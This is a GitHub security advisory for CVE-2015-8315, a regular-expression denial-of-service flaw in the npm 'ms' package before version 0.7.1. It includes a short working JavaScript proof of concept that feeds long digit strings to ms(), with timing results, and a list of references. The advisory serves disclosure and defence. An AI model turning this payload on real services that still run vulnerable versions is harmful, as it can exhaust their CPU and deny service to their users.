GHSA-3fx5-fwvr-xrjg

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GHSA-3fx5-fwvr-xrjg

Summary: Regular Expression Denial of Service in ms

Details: Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of Concept ```javascript var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ### Results Showing increase in execution time based on the input string. ``` $ time node ms.js 10000 real 0m0.758s user 0m0.724s sys 0m0.031s $ time node ms.js 20000 real 0m2.580s user 0m2.494s sys 0m0.047s $ time node ms.js 30000 real 0m5.747s user 0m5.483s sys 0m0.080s $ time node ms.js 80000 real 0m41.022s user 0m38.894s sys 0m0.529s ```

References: https://nvd.nist.gov/vuln/detail/CVE-2015-8315, https://github.com/unshiftio/millisecond, https://nodesecurity.io/advisories/46, https://support.f5.com/csp/article/K46337613?utm_source=f5support&amp%3Butm_medium=RSS, https://support.f5.com/csp/article/K46337613?utm_source=f5support&amp;utm_medium=RSS, https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389, http://www.openwall.com/lists/oss-security/2016/04/20/11, http://www.securityfocus.com/bid/96389